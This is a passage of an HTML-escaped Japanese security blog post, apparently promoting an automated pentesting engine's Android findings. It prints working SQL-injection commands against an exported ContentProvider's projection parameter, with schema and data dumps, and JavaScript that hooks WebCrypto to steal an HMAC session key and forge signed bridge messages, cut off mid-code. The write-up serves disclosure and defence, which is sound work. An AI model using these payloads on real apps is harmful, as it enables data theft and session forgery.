&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;Log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;w&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Security"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"Blocked suspicious URL: "&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;super&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;shouldOverrideUrlLoading&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Safe Browsingに関する知識はAndroid固有のものであり、ペンテスターがこの項目に直面したか、取り組んだ経験がない限り、評価でこの種の脆弱性をカバーすることはまれです。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://developer.android.com/reference/android/webkit/WebViewClient#onSafeBrowsingHit(android.webkit.WebView,%20android.webkit.WebResourceRequest,%20int,%20android.webkit.SafeBrowsingResponse)"&gt;https://developer.android.com/reference/android/webkit/WebViewClient#onSafeBrowsingHit(android.webkit.WebView,%20android.webkit.WebResourceRequest,%20int,%20android.webkit.SafeBrowsingResponse)&lt;/a&gt;&lt;/p&gt;
&lt;h1 id="ケーススタディ2:クエリプロジェクションにおけるsqlインジェクション"&gt;ケーススタディ2：クエリプロジェクションにおけるSQLインジェクション&lt;/h1&gt;
&lt;p&gt;2つ目の発見は、SQLiteにおけるクエリプロジェクションを通じたSQLインジェクションに関するものでした。 &lt;br/&gt;
この脆弱性は、アプリの&lt;code&gt;FileContentProvider&lt;/code&gt;に存在していました。これは権限の制限なしにエクスポートされており、デバイス上の任意のアプリケーションからアクセス可能でした。 &lt;br/&gt;
この発見を注目に値するものにしたのは、クエリプロジェクションの内部でSQLインジェクションが可能であることを認識したエンジンの能力です。これは、これまでSQLインジェクションの標的になり得るとは文書化されていなかった攻撃ベクトルです。&lt;/p&gt;
&lt;p&gt;エンジンは、まずAPKの静的解析を行い、すべてのContentProvider、そのオーソリティ、権限設定を列挙することで、方法論的な脆弱性ハンティングを実演しました。 &lt;br/&gt;
続いて、content://[REDACTED].myblocnote.provider/にあるプロバイダーが外部からアクセス可能であり、適切な入力検証を欠いていることを特定しました。 &lt;/p&gt;
&lt;p&gt;エンジンは、巧妙に細工したADBコマンドを用いて、プロジェクションパラメーターを通じてSQL式を注入する動的テストへと進みました。&lt;/p&gt;
&lt;p&gt;エンジンは、プロジェクションパラメーターを通じてさまざまなSQLインジェクション手法を体系的にテストしました。単純な定数評価（&lt;code&gt;--projection "size:1"&lt;/code&gt;）から始め、複雑なスキーマ列挙攻撃へと段階的にエスカレートしていきました。 &lt;/p&gt;
&lt;p&gt;エンジンは&lt;code&gt;(SELECT group_concat(name) FROM sqlite_master&lt;/code&gt;）を注入することでデータベーススキーマ全体の抽出に成功し、&lt;code&gt;android_metadata&lt;/code&gt;、&lt;code&gt;files&lt;/code&gt;、&lt;code&gt;sqlite_sequence&lt;/code&gt;など、外部アプリケーションからは決してアクセスできてはならないテーブルを明らかにしました。&lt;/p&gt;
&lt;p&gt;この発見を際立たせたのは、コマンドラインの制約を回避し、実際の悪用手法を実演するエンジンの能力でした。&lt;/p&gt;
&lt;p&gt;エンジンは、SQLコメント（&lt;code&gt;/x/&lt;/code&gt;）と&lt;code&gt;char()&lt;/code&gt;関数を巧みに使ってシェルのトークン化の問題を回避し、理論的な脆弱性の特定にとどまらない実践的な知識を示しました。たとえば、&lt;code&gt;files&lt;/code&gt;テーブルからカラム情報を抽出するために、エンジンは次のクエリを構築しました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;--projection&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"size:(SELECT group_concat(name) FROM pragma_table_info(char(102,105,108,101,115)))"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;これにより内部データベース構造&lt;code&gt;(_id, name, path, size columns)&lt;/code&gt;が明らかになり、スキーマの完全な開示が実証されました。エンジンはさらに、サブクエリを用いて実際のファイル名を抽出することでデータ窃取の能力を実演し、出力が過大にならないよう結果を切り詰めつつも、脆弱性の深刻さを証明しました。&lt;/p&gt;
&lt;p&gt;確認方法（ツールとエビデンス）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;コロン区切りのプロジェクションエントリを用いた adb shell content query。関数／サブセレクト呼び出しのために  &lt;br/&gt;
    括弧をエスケープし、CLIのトークン化／クオートの問題を回避するため、場合によってはSQLコメント  &lt;br/&gt;
&lt;code&gt;/x/&lt;/code&gt;と&lt;code&gt;char()&lt;/code&gt;を使用。                    &lt;/li&gt;
&lt;li&gt;/root での確認例：                                              &lt;ul&gt;
&lt;li&gt;定数評価：                                                     &lt;ul&gt;
&lt;li&gt;コマンド：&lt;code&gt;adb shell content query --uri content://xxxxx.myblocnote.provider/root --projection  "size:1"&lt;/code&gt; &lt;/li&gt;
&lt;li&gt;出力（抜粋）：&lt;code&gt;Row: 0 size=1024, 1=1&lt;/code&gt; &lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;組み込み関数：                                                       &lt;ul&gt;
&lt;li&gt;コマンド：&lt;code&gt;adb shell content query --projection "size:sqlite_version()" &amp;hellip;&lt;/code&gt; &lt;/li&gt;
&lt;li&gt;出力：&lt;code&gt;Row: 0 size=1024, sqlite_version()=3.44.3&lt;/code&gt; &lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;sqlite_master 経由のスキーマ名：                                          &lt;ul&gt;
&lt;li&gt;コマンド：&lt;code&gt;--projection "size:(SELECT/x/group_concat(name)FROM/x/sqlite_master)"&lt;/code&gt; &lt;/li&gt;
&lt;li&gt;出力に含まれるもの：&lt;code&gt;android_metadata,files,sqlite_sequence,capabilities,uploads,camera_ uploads_sync,user_quotas&lt;/code&gt; &lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;pragma_table_info 経由の files のカラム：                                  &lt;ul&gt;
&lt;li&gt;コマンド：&lt;code&gt;--projection "size:(SELECT/x/group_concat(name)FROM/x/pragma_table_info(char(102,105,108,101,115)))"&lt;/code&gt; &lt;/li&gt;
&lt;li&gt;出力：&lt;code&gt;_id,name,path,size&lt;/code&gt; &lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;DDL（CREATE TABLE files）：                                                &lt;ul&gt;
&lt;li&gt;コマンド：&lt;code&gt;--projection           "size:(SELECT/x/sql/x/FROM/x/sqlite_master/x/WHERE/x/name=char(102,         105,108,101,115)/x/AND/x/type=char(116,97,98,108,101)/x/LIMIT/x/1)"&lt;/code&gt; &lt;/li&gt;
&lt;li&gt;出力（抜粋）：&lt;code&gt;CREATE TABLE files (_id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, path TEXT NOT NULL, size INTEGER)&lt;/code&gt; &lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;テーブルをまたいだカウント（capabilities）：                                        &lt;ul&gt;
&lt;li&gt;コマンド：&lt;code&gt;--projection "size:(SELECT/x/count(*)FROM/x/capabilities)"&lt;/code&gt; &lt;/li&gt;
&lt;li&gt;出力（抜粋）：&lt;code&gt;&amp;hellip;=0&lt;/code&gt; &lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;実データのサンプル（ファイル名を切り詰め、件数制限あり）：                         &lt;ul&gt;
&lt;li&gt;コマンド：&lt;code&gt;--projection        "size:(SELECT/x/group_concat(substr(name,1,5),char(124))FROM/x/(SELECT/x/name/x/FROM/x/files/x/LIMIT/x/3))"&lt;/code&gt; &lt;/li&gt;
&lt;li&gt;出力：&lt;code&gt;&amp;hellip;=Docum|Image|Music&lt;/code&gt; &lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;エラーベースの確認（未知の関数）：                             &lt;ul&gt;
&lt;li&gt;コマンド：&lt;code&gt;--projection "size:pwned()"&lt;/code&gt; &lt;/li&gt;
&lt;li&gt;エラー（抜粋）：&lt;code&gt;android.database.sqlite.SQLiteException: no such function: pwned &amp;hellip; while compiling: SELECT size, pwned() FROM files&lt;/code&gt; &lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;未知のカラム（許可リストなし）：                                           &lt;ul&gt;
&lt;li&gt;コマンド：&lt;code&gt;--projection "size:non_existent_col"&lt;/code&gt; &lt;/li&gt;
&lt;li&gt;エラー（抜粋）：&lt;code&gt;no such column: non_existent_col &amp;hellip; while compiling: SELECT size, non_existent_col FROM files&lt;/code&gt; &lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;アイテムURIでの確認：                                                 &lt;ul&gt;
&lt;li&gt;/file/1：&lt;code&gt;--projection "size:1" -&amp;gt; Row includes &amp;ldquo;1=1&amp;rdquo;&lt;/code&gt;。                    &lt;/li&gt;
&lt;li&gt;/directory/1：&lt;code&gt;--projection "size:sqlite_version()" -&amp;gt; sqlite_version()&lt;/code&gt; &lt;br/&gt;
   カラムが返される。                                                 &lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="ケーススタディ3:セッションシークレット窃取のためのwebcryptoフッキング"&gt;ケーススタディ3：セッションシークレット窃取のためのWebCryptoフッキング&lt;/h1&gt;
&lt;p&gt;この脆弱性は、人間によるペネトレーションテストに合格し、人間のテスターには見逃されていたアプリケーションで発見されました。&lt;/p&gt;
&lt;p&gt;これは、WebViewベースのプロバイダーにおける注入タイミングの脆弱性です。プロバイダーはドキュメントの末尾で注入されるため、ページのスクリプトが先に実行され、WebCryptoをフックできます。プロバイダーはwindow.crypto.subtleを用いて、署名に使うHMACシークレットをインポートして使用します。フックされた関数は鍵素材を読み取って窃取でき、これによって任意のスクリプトが、ネイティブブリッジが正当なものとして受け入れる署名付きメッセージを偽造できるようになります。&lt;/p&gt;
&lt;p&gt;エンジンによれば、この種の脆弱性は、セキュリティ上重要なスクリプトが敵対的なページへ遅れて注入される場合によく見られるとのことです。 &lt;/p&gt;
&lt;p&gt;攻撃手法&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;攻撃者は、プロバイダーの注入より前にJavaScriptが実行されるようにする（どのページでも容易）。  &lt;/li&gt;
&lt;li&gt;プロバイダーが初期化される際に鍵素材を観測するため、crypto.subtle.importKey/signをフックする。  &lt;/li&gt;
&lt;li&gt;セッションごとのシークレット（生の鍵）を抽出し、任意のリクエストに対して有効なHMACを計算する。  &lt;/li&gt;
&lt;li&gt;window.ReactNativeWebView.postMessageを通じて、有効な署名を付けた細工済みメッセージを送信する。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A) SubtleCryptoをフックし、リロード時にHMAC鍵を窃取する&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// Run BEFORE provider injection (e.g., in-page script, or paste then reload)&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;origImportKey&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;subtle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;importKey&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;subtle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;importKey&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;keyData&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;alg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;extractable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;usages&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fmt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'raw'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;alg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;alg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;alg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'HMAC'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;u8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Uint8Array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;keyData&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;hex&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kr"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;u8&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;16&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;padStart&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'0'&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nx"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Captured HMAC secret (hex):'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;origImportKey&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;apply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="c1"&gt;// Reload the page; when the provider initializes at document-end, the secret is logged.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;観測された結果：ブラウザーのコンソールに、セッションごとのシークレットが16進数で出力されます。&lt;/p&gt;
&lt;p&gt;B) 窃取したシークレットを用いて署名付きの rpc_request を偽造する&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// Using the secret captured above, compute a valid signature and post directly&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sign&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;secretHex&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;subtle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;importKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'raw'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Uint8Array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;objHex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;secretHex&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="s1"&gt;'HMAC'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="s1"&gt;'SHA-256'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'sign'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;TextEncoder&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sig&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;subtle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sign&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'HMAC'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kr"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Uint8Array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sig&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nx"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;16&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;padStart&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'0'&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nx"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;objHex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/../g&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mf"&gt;16&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'attacker-1'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;method&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'rpc_request'&lt;/span&gt;&lt;span 